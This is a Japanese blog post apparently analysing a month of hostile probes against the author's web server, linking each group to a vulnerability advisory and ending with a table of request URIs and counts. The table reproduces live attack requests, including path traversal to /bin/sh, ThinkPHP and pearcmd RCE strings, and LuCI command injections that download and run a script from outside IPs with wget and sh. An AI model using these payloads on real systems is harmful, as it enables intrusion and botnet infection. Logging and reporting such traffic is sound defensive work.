webサーバのログの分析2024 8月分

2024-09-29 技術系

公開している web サーバのログから通常のアクセスではない通信について分析しました。

多かったリクエスト

PHPUnitのevalをリモート実行

PHPのユニットテストツールのPHPUnitの脆弱性を利用してのeval()を実行しようとする通信

JVNDB-2017-005280 - JVN iPedia - 脆弱性対策情報データベース

/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/vendor/phpunit/phpunit/src/Util/PHP/evil.php     
/app/vendor/phpunit/phpunit/src/Util/PHP/evil.php 
/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php            
/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 
/vendor/phpunit/src/Util/PHP/eval-stdin.php                
/vendor/phpunit/phpunit/LICENSE/eval-stdin.php             
/vendor/phpunit/Util/PHP/eval-stdin.php                    
/phpunit/src/Util/PHP/eval-stdin.php                       
/phpunit/phpunit/src/Util/PHP/eval-stdin.php               
/phpunit/phpunit/Util/PHP/eval-stdin.php                   
/phpunit/Util/PHP/eval-stdin.php                           
/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php           
/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php   
/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php    
/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php    
/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php     
/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php  
/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php  
/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php   
/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php    
/lib/phpunit/src/Util/PHP/eval-stdin.php                   
/lib/phpunit/phpunit/Util/PHP/eval-stdin.php               
/lib/phpunit/Util/PHP/eval-stdin.php                       
/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php   
/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php    
/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php     
/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php          
/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php 
/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php   
/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php   
/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php  
/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php
/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php  
/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php

fully modded phpbbのリモートファイルインクルージョン

JVNDB-2006-001440 - JVN iPedia - 脆弱性対策情報データベース

/admin/config.php

Cisco 製 Cisco IOS XE などのネットワーク機器の Web UI の脆弱性

下記の記事のようなネットワーク機器のWeb UIにアクセスを試みる通信だと思われます。
Cisco 製 Cisco IOS XE の Web UI の脆弱性について(CVE-2023-20198 等) | 情報セキュリティ | IPA 独立行政法人情報処理推進機構

/webui/

Apacheのパストラバーサルの脆弱性 (CVE-2021-41773、CVE-2021-42013)を利用したシェルの実行

普通にパストラバーサルを試す攻撃がありました。

Apache HTTP Serverのディレクトリトラバーサル脆弱性_CVE-2021-41773_検証 #Apache_http_server - Qiita

/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh

GeoServerの脆弱性

GeoServer の深刻な脆弱性 CVE-2023-35042 が FIX：RCE 攻撃が観測されている – IoT OT Security News

/geoserver/web/

Spring Frameworkの脆弱性

Spring FrameworkのSpring Cloud Gatewayという機能の脆弱性に関する通信みたいです。

CVE-2022-22947: Spring Cloud Gateway Code Injection Vulnerability

/actuator/gateway/routes

Apache Solrの脆弱性

Apache Solrではパストラバーサルなどの複数の脆弱性が見つかっておりそれらを利用しようとする通信だと思われます。

JVNDB-2021-017399 - JVN iPedia - 脆弱性対策情報データベース

/solr/admin/info/system
/solr/admin/cores?action=STATUS&wt=json

geoip-lite-countryを使ってるか確認する通信

複数の脆弱性があり、攻撃できるか試す通信がありました。

JVNDB-2016-009092 - JVN iPedia - 脆弱性対策情報データベース
 JVNDB-2007-001357 - JVN iPedia - 脆弱性対策情報データベース

/geoip/

不審な通信の一覧

uri	count
/.env	556
/favicon.ico	375
/admin/config.php	274
/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	227
/ads.txt	204
/app/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	202
/.git/config	176
/sw.js	175
*	148
mstshash=Administr	139
\x84\xB4,\x85\xAFn\xE3Y\xBBbhl\xFF(=’:\xA9\x82\xD9o\xC8\xA2\xD7\x93\x98\xB4\xEF\x80\xE5\xB9\x90\x00(\xC0	138
/wp-login.php	121
/app-ads.txt	100
/_profiler/phpinfo	90
/t4	88
/index.xml	85
/vendor/phpunit/phpunit/src/Util/PHP/evil.php	70
/app/vendor/phpunit/phpunit/src/Util/PHP/evil.php	70
/.well-known/traffic-advice	65
/webui/	60
/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh	59
/cgi-bin/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/%%32%65%%32%65/bin/sh	57
/geoserver/web/	56
/actuator/gateway/routes	56
/admin/assets/js/views/login.js	53
/vendor/phpunit/phpunit/Util/PHP/eval-stdin.php	52
/vendor/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	51
/vendor/phpunit/src/Util/PHP/eval-stdin.php	51
/vendor/phpunit/phpunit/LICENSE/eval-stdin.php	51
/vendor/phpunit/Util/PHP/eval-stdin.php	51
/phpunit/src/Util/PHP/eval-stdin.php	50
/phpunit/phpunit/src/Util/PHP/eval-stdin.php	50
/phpunit/phpunit/Util/PHP/eval-stdin.php	50
/phpunit/Util/PHP/eval-stdin.php	50
/lib/phpunit/phpunit/src/Util/PHP/eval-stdin.php	50
/zend/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	49
/yii/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	49
/www/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	49
/ws/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	49
/ws/ec/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	49
/tests/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	49
/testing/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	49
/test/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	49
/lib/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	49
/lib/phpunit/src/Util/PHP/eval-stdin.php	49
/lib/phpunit/phpunit/Util/PHP/eval-stdin.php	49
/lib/phpunit/Util/PHP/eval-stdin.php	49
/laravel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	49
/demo/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	49
/api/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	49
/V2/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	49
/workspace/drupal/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	48
/public/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	48
/public/index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello	48
/panel/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	48
/index.php?s=/index/\x5Cthink\x5Capp/invokefunction&function=call_user_func_array&vars[0]=md5&vars[1][]=Hello	48
/index.php?lang=../../../../../../../../usr/local/lib/php/pearcmd&+config-create+/&/+/tmp/index1.php	48
/index.php?lang=../../../../../../../../tmp/index1	48
/crm/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	48
/cms/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	48
/blog/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	48
/backup/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	48
/apps/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	48
/admin/vendor/phpunit/phpunit/src/Util/PHP/eval-stdin.php	48
/api/.env	44
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.18.237%3A88%2Ft%7Csh%3B%60)	41
/hello.world?%ADd+allow_url_include%3d1+%ADd+auto_prepend_file%3dphp://input	40
/post/wp-login.php	37
/manifest.js	36
//pagead2.googlesyndication.com/pagead/js/adsbygoogle.js	36
/core/.env	35
/app/.env	34
/.env.prod	33
/teorema505?t=1	32
/sellers.json	32
/cgi-bin/authLogin.cgi	32
/alive.php	32
/ab2h	32
/ab2g	32
/.env.production	32
/v2/_catalog	30
/upl.php	30
/solr/admin/info/system	30
/solr/admin/cores?action=STATUS&wt=json	30
/query?q=SHOW+DIAGNOSTICS	30
/local/.env	30
/1.php	30
/systembc/password.php	29
/sdk	29
/password.php	29
/geoip/	29
/form.html	29
/HNAP1	29
/public/.env	27
/apps/.env	27
/.env.save	27
/wp	25
/wordpress	25
/old	25
/new	25
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.18.196%2Ft%7Csh%3B%60)	25
/.env.example	25
/main	23
/laravel/.env	23
/home	23
/debug/default/view?panel=config	23
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.18.103%2Ft%7Csh%3B%60)	23
/bk	23
/bc	23
/backup	23
/.env.bak	23
/config.json	22
/backend/.env	22
/application/.env	22
/.well-known/security.txt	22
/crm/.env	21
/cdn-cgi/trace	21
/owa/	20
/evox/about	20
/actuator/health	20
/.json	20
/login	19
/.env.old	19
/webui	18
/user	18
/new/.env	18
/human.aspx	18
/dns-query	18
/blog/.env	18
/app_dev.php/_profiler/phpinfo	18
/.env.local	18
/wp-content/plugins/wp-catcher/index.php	17
/staging/.env	17
/database/.env	17
/cgi-bin/luci/;stok=/locale?form=country&operation=write&country=$(id%3E%60wget+-O-+http%3A%2F%2F154.216.18.196%3A88%2Ft%7Csh%3B%60)	17
/cgi-bin/.env	17
/.env.dev	17
/wp-content/	16
/config/.env	16
/conf/.env	16
/app_dev.php/_profiler/open?file=app/config/parameters.yml	16
/vendor/.env	15
/storage/.env	15
/src/.env	15
/old/.env	15
/autodiscover/autodiscover.json?@zdi/Powershell	15
/app/config/parameters.yml	15
/app/config/.env	15
/about/site_icons/icon-192x192.png	15
/.env.stage	15
/.env.backup	15
/.config.yaml	15
7	14
/sftp-config.json	14
/script/.env	14
/manager/html	14
/library/.env	14
/infophp.php	14
/info/	14
/frontend/web/debug/default/view	14
/client_secrets.json	14
/HNAP1/	14
/+CSCOE+/logon.html	14
/wp-content/themes/	13
/wp-content/plugins/	13
/wp-content/.env	13
/shell?cd+/tmp;rm+-rf+j;nohup+wget+http:/\x5C/154.216.18.196:88/j;chmod+777+j;./j	13
/protected/.env	13
/pinfo.php	13
/infos.php	13
/aws.yml	13
/admin/.env	13
/aab9	13
/.well-known/assetlinks.json	13
/.well-known/apple-app-site-association	13
/.well-known/	13
/wp-includes/	12
/wp-content/uploads/	12
/wp-admin/	12

＜映画「ウィリーズ・ワンダーランド」の感想

映画「サユリ」の感想＞